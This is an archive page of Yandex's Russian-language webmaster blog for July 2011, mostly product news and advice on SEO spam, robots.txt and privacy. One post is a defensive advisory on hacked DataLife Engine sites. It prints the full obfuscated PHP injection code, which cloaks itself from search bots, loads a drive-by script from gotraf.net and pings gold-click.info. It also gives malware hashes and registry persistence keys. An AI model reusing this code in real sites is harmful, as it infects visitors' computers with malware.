Блог Яндекса для вебмастеров

июль 2011
Статистика по поисковым запросам в Яндекс.Вебмастере: +500
1 июля 2011, 12:26

Сегодня у нас сразу две новости. Одна хорошая и другая - тоже хорошая.

1. В сервисе Яндекс.Вебмастер существует возможность просматривать 25 популярных запросов, по которым сайт чаще всего показывается в результатах поиска и по которым посетители чаще всего переходят на ваш сайт. Кроме того, вы можете самостоятельно указать интересующие вас запросы, которых нет в этом списке.

До недавнего времени сервис позволял добавить 10 дополнительных поисковых запросов. Сегодня появилась возможность указать до 500 собственных запросов. Это позволяет более тщательно анализировать статистику поисковых запросов и позиций сайта. Дополнительные поисковые запросы вы можете указать в разделе «Мои запросы».

2. Теперь Яндекс.Вебмастер доступен на английском и украинском языках. Внизу каждой страницы сервиса появился соответствующий переключатель:


Также напоминаем, что для удобной работы с сервисом вы можете добавить виджет Яндекс.Вебмастера на главную страницу Яндекса, а также установить набор дополнений к Яндекс.Бару для работы с сервисом из панели браузера. Эти инструменты позволяют переходить на нужные страницы в один клик и быстро получать данные о сайтах.


Мария Липатова и команда Яндекс.Вебмастера

16 комментариев
Я.Вебмастер
Яндекс.Вебмастер помогает найти вредоносный код на страницах сайта
6 июля 2011, 11:25
Теперь на вкладке "Безопасность" в Яндекс.Вебмастере отображается не только список заражённых страниц, но и тип заражения каждой из них, что помогает как можно скорее найти и удалить вредоносный код.

После того, как вебмастер обнаруживает, что его сайт заражен, обычно перед ним возникает задача как можно скорее найти и удалить вредоносный код. Это можно сделать при помощи вкладки "Безпасность" в Яндекс.Вебмастере. Теперь на ней отображается не только список заражённых страниц, но и тип заражения каждой из них. Для большинства типов заражения есть возможность перейти в раздел помощи с примерами вредоносного кода, которые помогают его обнаружить.

Выглядит это следующим образом:

К тому же, Яндекс.Вебмастер позволяет подписаться на уведомления о заражении зарегистрированного в нём сайта и запросить его перепроверку после устранения проблемы.

Но лучше, конечно, не допускать заражения сайта. Обновляйте ПО, пользуйтесь антивирусами, ограничивайте доступ и берегите пароли.

12 комментариев
безопасность,вирусы
Новое в поиске (июнь 2011 года)
8 июля 2011, 12:02

В Яндекс.Вебмастере появились:
возможность указывать до 500 запросов, за статистикой по которым вы хотели бы следить;
– подробная информация о зараженных вирусами страницах, помогающая найти вредоносный код;
английский и украинский варианты интерфейса;
больше организаций, для которых могут быть настроены специальные сниппеты.

Кроме того, в Поиске:
– обновились формулы ранжирования для России и Украины;
– существенно улучшился поиск точных цитат;
– по запросам, в ответ на которые пользователи часто ожидают увидеть изображения, теперь показывается еще больше картинок.

А еще мы хотели бы пригласить вас в наш новый блог, посвященный безопасности поиска: http://safesearch.ya.ru/ Мы много работаем в этом направлении и готовы делиться накопленными знаниями. В блоге мы будем публиковать новости и статьи о борьбе с распространением вредоносного кода через World Wide Web. Будем рады получать ваши отзывы и комментарии.

Команда поиска

13 комментариев
Об одном из некорректных способов поискового продвижения и его последствиях - 2
11 июля 2011, 19:11
Яндекс неоднократно высказывал своё отношение как к накруткам в целом, так и к эмуляции действий пользователей в частности.

Нами были подведены некоторые итоги. За последнее время мы встретили, например, такие спам-методы:
1) создание ботнета, эмулирующего действия тысяч пользователей в течение длительного времени;
2) распространение программ, эмулирующих действия пользователей;
3) привлечение заинтересованных пользователей для выполнения определенных действий в поисковой системе с помощью специально созданного либо уже существующего публичного сервиса.
Подобные методы мы рассматриваем как спам и предпринимаем соответствующие меры в отношении сайтов, которые их используют.

Мы видим, что многие сайты, использовавшие такие спам-технологии, отказались от них. Через некоторое время они займут адекватные позиции, соответствующие своей релевантности.

По нашему мнению, любые методы накрутки бесперспективны и могут повлечь за собой потерю сайтами позиций и репутации. Так же бесперспективны и попытки повлиять таким способом на позиции сайтов-конкурентов – все имеющиеся у нас данные тщательным образом анализируются, вероятность ошибок сводится к минимуму.

Следует отметить, что SEO-компании, использующие подобные методы продвижения, подвергают риску сайты своих клиентов и, как следствие, собственную репутацию.

Мы надеемся, что благодаря нашим совместным усилиям, отечественная SEO-отрасль перестанет ассоциироваться с обманом поисковых систем и станет реальным бизнесом, помогающим своим клиентам организовать качественный сервис в интернете.

Команда поиска Яндекса
191 комментарий
Вот оно какое, наше лето!
13 июля 2011, 15:35

Мы рады представить вам очередной, рекордный по своему разнообразию, урожай сниппетов для организаций.

Дома и базы отдыха, закусочные и столовые:

Автомобильные парковки, косметологические центры, прачечные и центры чистки ковров:

Кондитерские, создающие и доставляющие торты:

И даже зоопарки:

 

Теперь для всех этих организаций есть свои специальные, расширенные сниппеты.

Передавать данные о своих организациях, чтобы для них формировались специальные сниппеты, можно через форму «Адреса и организации» в Яндекс.Вебмастере. Для рубрик, где возможен показ специального сниппета, в форме есть пример того, как он будет выглядеть. Подробнее узнать о добавлении организаций вы можете в специальном разделе Помощи.

Команды Поиска и Справочника организаций

9 комментариев
содержимое сайта
О случаях заражения сайтов, работающих на CMS DataLife Engine
21 июля 2011, 18:57
Причиной заражения сайтов вредоносным кодом часто становится взлом систем управления контентом с последующим изменением их исходных кодов.

Мы обнаружили, что в последнее время стали чаще происходить случаи заражения сайтов, работающих на CMS DataLife Engine кодом, который добавляет на страницу тег <script>. Пример кода, которым происходит заражение:


<? $GLOBALS['_dleget_']=Array(base64_decode('' .'cHJlZ19' .'tYX' .'RjaA=='),base64_decode('cH' .'JlZ19' .'tYXRjaA=='),base64_decode('cHJlZ19tY' .'XRjaA==')); ?><? function dleget($i){$a=Array('ZGxlX3Bhc3N3b3Jk','L3lhbmRleC9p','SFRUUF9VU0VSX0FHRU5U','L2dvb2dsZS9p','SFRUUF9VU0VSX0FHRU5U','L2JvdC9p','SFRUUF9VU0VSX0FHRU5U', PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgY2hhcnNldD0id2luZG93cy0xMjUxIiByZWw9Im5vZm9sbG93IiBzcmM9Imh0dHA6Ly9nb3RyYWYubmV0L2luLnBocD9pZD0xMTEiPjwvc2NyaXB0Pg== ');return base64_decode($a[$i]);} ?><? if((!isset($_COOKIE[dleget(0)]))and(!$GLOBALS['_dleget_'][0](dleget(1),$_SERVER[dleget(2)]))and(!$GLOBALS['_dleget_'][1](dleget(3),$_SERVER[dleget(4)]))and(!$GLOBALS['_dleget_'][2](dleget(5),$_SERVER[dleget(6)]))){echo dleget(7);} if(isset($_SERVER["HTTP_HOST"])){ $host = str_replace("www.","",$_SERVER["HTTP_HOST"]); file_get_contents('http://gold-click.info/tds.php?jkdptbw='.$host);} ?>


Данный код проверяет, установлены ли cookie с именем dle_password и присутствуют ли в значении HTTP-заголовка User-Agent следующие строки:
  • yandex
  • google
  • bot

Если cookie с именем dle_password не установлены и в значении HTTP заголовка User-Agent не присутствует строк yandex, google или bot, то в код страницы вставляется:

<script src=http://gotraf.net/in.php?id=<id>
где <id> – трёхзначное число.

Общие рекомендации, как удалить со страницы вредоносный код и больше не дать его разместить, описаны в соответствующем разделе помощи. Узнать подробности о том, какие страницы заражены, можно, зарегистрировав заражённый сайт на Яндекс.Вебмастере.

При посещении сайта, который использует CMS, зараженную данным серверным скриптом, в браузере автоматически исполняется браузерный скрипт, подгружаемый с хоста gotraf.net. Этот браузерный скрипт пытается эксплуатировать уязвимости в популярных браузерах и сторонних продуктах. При удачной эксплуатации хотя бы одной из уязвимостей на компьютер пользователя загружается и устанавливается вредоносное ПО.

По данным с virustotal.com, на 19.07.2011 вредоносное ПО с хоста gotraf.net детектировалось только антивирусами:

Хэши вредоносного файла:
  • MD5: c852cb73a67be8080b292577e77349d0 ;
  • SHA1: d66db7ab31b5b6ac83cb17b58e40f1eca3acc2d9 ;
  • SHA256: d01d44972e2e853907ec0f6acaa9ff60bb797825c0dd107655f1b963c70ce2a1 .

Вирус блокирует работу операционной системы, копирует себя в папку C:\Program Files\Common Files\ с именем winlogin.exe, а также создает 2 записи в реестре, чтобы при каждом последующем старте операционной системы происходил его запуск.

Записи в реестре:
  • HKEY_LOCAL_MACHINE\software\microsoft\Windows NT\CurrentVersion\Winlogon\Shell = Explorer.exe "C:\Program Files\Common Files\winlogin.exe" ;
  • HKEY_LOCAL_MACHINE\software\microsoft\Windows\CurrentVersion\Run\winlogin = "C:\Program Files\Common Files\winlogin.exe" .

Для удаления вируса с компьютера пользователя вручную, нужно удалить соответствующие записи в реестре, а также файл winlogin.exe (не перепутайте с winlogon.exe) .

Чтобы удалить вирус, можно также воспользоваться бесплатными утилитами от Лаборатории Касперского и DrWeb, приведёнными в этом разделе.

Как выбрать и настроить браузер, антивирус, брандмауэр, ОС компьютера, чтобы обеспечить максимальную безопасность работы в Интернете – описано здесь.

Команда безопасного поиска Яндекса

Нет комментариев
безопасность,вирусы
Почему находится всё
26 июля 2011, 00:09

Сейчас в рунете широко обсуждается появление в открытом доступе СМС и других данных, которые не должны были стать публичными. Вокруг этой темы возникла даже легкая паника. Чтобы в дальнейшем не происходило подобных вещей, хочу рассказать владельцам сайтов и вебмастерам, что нужно сделать и на что обратить внимание.

Прежде всего личную информацию посетителей сайта необходимо защитить, например, закрыть паролем. Если же такая информация никак не защищена, она запросто может стать доступна всем пользователям сети. Для этого достаточно оставить где-нибудь в интернете ссылку на страницу пользователя — хоть на страницу заказа, хоть на страницу регистрации.

Вторая важная вещь — необходимо запретить поисковым роботам индексировать страницы сайтов с информацией, которая не должна стать публичной. Для этого существует файл robots.txt. Это текстовый файл, который предназначен для роботов поисковых систем. В этом файле вебмастер может указать параметры индексирования своего сайта как для всех роботов сразу, так и для каждой поисковой системы по отдельности. То есть владелец сайта или вебмастер всегда может позаботиться о том, чтобы поисковые роботы обходили стороной страницы, содержимое которых не должно попасть в поисковые системы. Проверить, какие страницы сайта проиндексированы Яндексом, можно с помощью сервиса Яндекс.Вебмастер. В сервисе существует специальный инструмент для проверки корректности файла robots.txt — с помощью него можно проверить доступность страниц для индексации поисковым роботом Яндекса.
 
Чтобы все понимали, как данные попадают в поисковики, давайте проследим, что происходит с веб-страницей от момента ее создания до попадания в результаты поиска.

Итак, страница появилась на сайте. Не важно, статический ли это html или динамически созданная серверным приложением страница. Важно, что у нее есть текстовое содержимое, которое могут читать пользователи и индексировать поисковые системы.
Разместив в интернете свою страницу, вебмастер ждет посетителей. Как он может рассказать людям о ней?  Конечно, он отправит запрос на индексирование страницы поисковым системам. Возможно, отправит ссылку друзьям и знакомым, сократит ее и выложит в Твиттер, другие блоги и соцсети. Он может поставить ссылку на эту страницу и в других местах, уже известных поисковым системам, чтобы роботы быстрее ее нашли. 

Итак, на страничку не зашел еще ни один живой человек, но про нее уже могут знать тысячи программ по всему интернету:
•    поисковые системы, куда вебмастер отправил ссылку вручную;
•    блог-платформы и сокращатели ссылок;
•    поисковые системы, которые переиндексировали страницы с ссылками на эту (а зачастую это происходит очень быстро);
•    всевозможные анализаторы и подписчики RSS (если на сайте есть RSS), причем не только через RSS сайта, где расположена страничка, но и через RSS блогов, агрегаторов, блогов агрегаторов, агрегаторов блогов, агрегаторов агрегаторов и так далее;
•    компании-владельцы интернет-мессенджеров и провайдеры почтовых сервисов.


Если у странички стандартное имя, например, /admin или /login, ее быстро найдут всевозможные сканеры уязвимостей, которые постоянно обходят интернет. Про нее могут знать интернет-провайдеры всех тех систем, которые мы перечислили выше, провайдер самого сайта и все провайдеры по пути. Не в последнюю очередь про нее могут знать сотрудники спецслужб, использующие системы СОРМ. Иначе говоря, к этому моменту про новую страницу знает уже половина «роботной» части мирового интернета.


И только теперь на страницу заходит первый пользователь. Например, сидя в интернет-кафе, человек кликнул по ссылке в Твиттере и перешел на страницу. Конечно, этот клик зафиксировал javascript системы статистики сайта — в данном случае Твиттера. Как правило, пользователь попадает на страницу через сервис сокращения ссылок, и переход осядет в логах этого сервиса. Дальше браузер открывает страницу и начинает загружать объекты — картинки, анимацию, скрипты, css, рекламу, коды счетчиков и систем статистики. Если в браузере установлен антифишинговый или антивирусный плагин (собственный есть почти во всех браузерах и почти везде включен, а некоторые антивирусные компании еще добавляют свой), он отправляет адрес посещенной страницы на проверку. В браузер могут быть встроены и другие плагины. Например, Яндекс.Бар или Google.Бар показывают ранг страницы, для чего передают ее адрес на сервер. Бывает так, что трафик пользователей в публичных местах пропускается через прокси-сервер — для защиты от атак, экономии IP-адресов или ускорения загрузки страниц. В этом случае все указанные взаимодействия пройдут через прокси-сервер, и он тоже узнает о странице.

Если на страничке есть картинки или flash-объекты с других ресурсов, то о странице будут знать все эти ресурсы. При наличии на странице iframe о ней будет известно системе показа рекламы или сервисам других систем, загруженных через iframe. Если вебмастер использовал скрипты из внешней библиотеки, счетчики и системы сбора статистики, то о новой страничке будут знать все эти сервисы и их провайдеры. Данные получат прокси-серверы и серверы антивирусной и антифишинговой систем, встроенных в браузер. А также юноша, сидящий в кафе за соседним столиком и недавно прочитавший в молодежном журнале, как просматривать чужой трафик в публичных wifi-сетях.

Итак, теперь можно сказать, что почти весь мировой интернет знает про существование этой ссылки. Дальше информация о таких ссылках анализируется и проверяется, сравнивается и обсчитывается, агрегируется и консолидируется многими-многими системами. Происходит это довольно быстро. Бывает — всего за несколько секунд. В конечном итоге многие такие ссылки так или иначе становятся известными поисковым системам.

В этом месте хочу еще раз обратить внимание: поисковая система получает из разных источников только ссылки, а не содержимое страницы. Сколько может быть этих ссылок? Очень много. Например, еще в 2008 году Google сообщил, что их поисковой машине известно более одного триллиона (это тысяча миллиардов) уникальных ссылок. Разумеется, с той поры мировой интернет стал еще больше. И это при том, что индексируются только страницы, которые доступны всем пользователям.

Все ссылки поисковая система пропускает через фильтры, чтобы определить, нужно индексировать конкретную ссылку или нет. Некоторые ссылки отфильтровываются. Из полученного списка формируется очередь для обхода поисковым роботом. Порядок обхода может быть разным, он зависит от многих факторов. Важно, что робот старается отобрать и проиндексировать в первую очередь самые востребованные ссылки.

Дальше система управления поисковым роботом идет по списку ссылок и готовится индексировать содержимое страниц. Но прежде чем поисковый робот обращается к конкретной странице сайта, он обязательно проверяет файл robots.txt. И если владелец сайта не желает, чтобы новая страница индексировалась поисковой системой, он может попросить поискового робота этого не делать. И поисковый робот не будет этого делать. Конечно, злоумышленники, желающие украсть важный файл, не обратят внимание на содержимое robots.txt, но все крупные поисковые системы в обязательном порядке выполняют директивы этого файла.

Только если поисковый робот убедился, что robots.txt не запрещает индексирование странички, он будет ее индексировать. Это — единственный путь, по которому содержимое страницы попадает в поисковую систему. Другого способа нет.

Когда робот получил контент страницы, он снова применяет фильтры — отсекает мусор и спам. После того, как страницы отфильтрованы, можно приступать к ранжированию. Все страницы, доступные поисковой системе на этом этапе, могут появиться в результатах поиска. Таким образом, в поиске находится всё, что открыто всем и не запрещено вебмастером.


Владимир Иванов, информационная безопасность Яндекса

149 комментариев
Поисковые системы,содержимое сайта,безопасность
Управление приватностью
27 июля 2011, 16:18

Предполагается, что вебмастер следит за всеми данными, размещенными на своем сайте – например, за тем, чтобы приватные данные были защищены паролем, или за тем, чтобы туда не попадала внутренняя информация о компании. Вся информация, которая размещена в интернете и никак не защищена, может попасть в поисковые системы. Для того, чтобы ограничить доступ к информации для поисковых систем, достаточно задать правила доступа в файле robots.txt протоколом REP.

Однако практика показала, что, несмотря на простоту способов защиты приватной информации, и то, что правила взаимодействия сайтов с поисковыми системами созданы еще в 1994 году, многие вебмастера совершают ошибки. Например, полагаясь на сложность адреса той или иной страницы, никак не защищают информацию на ней. В результате эта информация оказывается открытой и находится в различных поисковых системах, в том числе и в Яндексе.

Как показали события последних дней, это достаточно широко распространено. Поэтому мы посчитали необходимым тщательно рассмотреть ставшие известными за последнее время случаи доступности непубличной информации. Мы изучили ситуацию и выяснили, что адреса страниц с некоторых хостов стали известны Яндексу через установленную на сайтах Метрику. А поскольку в robots.txt этих сайтов запрета на индексацию страниц не содержалось, они стали находиться в Яндексе. Особо хотим отметить, что посещение пользователем страницы с помощью браузера с установленным Яндекс.Баром не приводило и не приводит к ее индексации.

Что такое Метрика? Это система, предназначенная для анализа трафика на сайте. В  соответствии с Пользовательским соглашением Метрики, «счетчик собирает анонимные данные о посещениях сайта и в автоматическом режиме передает их Яндексу для получения обобщённой статистической информации, доступной для дальнейшего использования с помощью Сервиса как Пользователю, так и Яндексу».

Мы не могли представить себе, что в функциональность инструмента для анализа сайта нужно добавлять средства управления доступом. Для этого существуют общепринятые инструменты. Однако миф о том, что для защиты приватной информации достаточно сложного адреса страницы, оказался таким распространенным среди вебмастеров, что мы решили добавить в Метрику возможность не передавать в поиск Яндекса адреса страниц, которые стали ей известны. Однако это не означает, что поисковая система никогда не узнает о той или иной странице. Существует огромное количество других путей, которыми страница может оказаться в поиске. Новая опция Метрики влияет только на непосредственную связь между Метрикой и поиском.

Эта опция появилась на сервисе, на страницах с выбором счетчика. Также вы можете добавить в код счетчика на вашем сайте параметр ut=noindex. В результате этого адреса страниц, полученные только через Метрику, не будут индексироваться поиском Яндекса.

Приватные страницы, не защищенные вебмастером, которые по тем или иным причинам оказались в поисковом индексе, можно удалить несколькими способами. Если вы – вебмастер или владелец сайта и видите в поисковой системе те страницы, которые, по вашему мнению, не должны там находиться, вам нужно либо закрыть их паролем, либо запретить индексацию страниц с помощью robots.txt или метатега noindex.
Процесс обновления данных в поиске Яндекса можно ускорить. Для этого воспользуйтесь инструментом для удаления адресов страниц в Яндекс.Вебмастере. Или вы можете обратиться в службу поддержки. После обработки заявки робот Яндекса переобойдет указанные адреса и удалит их или изменит содержимое, сниппет и сохраненную копию - в зависимости от действий вебмастера.

В настоящее время процесс синхронизации содержимого сайта и результатов поиска занимает несколько часов, но мы работаем над тем, чтобы значительно сократить это время.


Владимир Иванов, информационная безопасность Яндекса

66 комментариев
Поисковые системы,безопасность
Делегирование прав на сайт в Яндекс.Вебмастере
28 июля 2011, 13:28

В сервисе Яндекс.Вебмастер существует несколько способов подтвердить права на управление сайтом. И у нас для вас хорошая новость: появилась возможность передать права на сайт другому пользователю.

Если вы не можете воспользоваться ни одним из имеющихся способов, но имеете непосредственное отношение к сайту, вы можете связаться с вебмастером или администратором сайта, у которого сайт уже подтвержден, и попросить его делегировать вам права на управление сайтом. Если права были делегированы, то они подтвердятся автоматически, и получателю останется только добавить сайт (в том случае, если он не добавлен).

Делегировать другому пользователю права на сайт можно в разделе «Мои сайты» -> выбранный вами сайт -> «Права на управление».  Необходимо указать логин в Яндексе того пользователя, кому бы вы хотели передать права на управление сайтом.

Делегирование прав на управление сайтом может быть полезно, если вы хотите дать кому-либо доступ к cтатистике Яндекс.Вебмастера повыбранному сайту, но не желаете передавать логин и пароль от своего аккаунта в Яндексе, который может быть привязан и к другим сервисам, содержащим конфиденциальные данные. 

Также появился еще один  дополнительный способ подтвердить права —  через подтверждение адреса электронной почты, который указан в качестве контактного адреса в WHOIS-записи вашего сайта. Необходимо указать этот адрес в специальной форме (http://validator.yandex.ru), и после автоматической проверки соответствия адреса WHOIS-записи права на сайт будут подтверждены.



Андрей Халиуллин и команда Яндекс.Вебмастера

16 комментариев
Я.Вебмастер